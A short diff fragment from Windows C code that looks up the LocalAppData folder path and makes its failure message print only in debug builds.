@@ int get_localstate_path(PCWSTR localStateSubPath, PWSTR* localStatePathOut) { HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &appdataPath); if (FAILED(hr)) { +#ifdef DEBUG fprintf(stderr, "Failed to retrieve APPDATA path. Error code: %08lX\n", hr); +#endif return EXIT_FAILURE; }